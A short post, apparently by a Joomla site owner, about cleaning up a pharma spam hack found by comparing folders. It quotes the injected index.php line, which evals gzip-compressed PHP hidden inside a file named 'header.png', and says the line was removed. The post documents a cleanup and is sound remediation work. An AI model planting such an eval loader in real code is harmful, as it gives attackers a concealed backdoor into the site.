Recently our one of the Joomla website is hacked with Pharma, and while google search gives us the link with pharma page which doesn't exist in our web pages.
I have used k2 components, ArtioSEF third party component, but i don't see any link or content there in the extensions.
Finally i have done folder comparsion which shows the files with different content. The hack may be injected in different files for different website, but they injected malicious code in joomla root index.php
@eval(str_replace(array("<?php","?>"),"",gzinflate(file_get_contents("header.png"))));
Removed those piece of code, thats all.
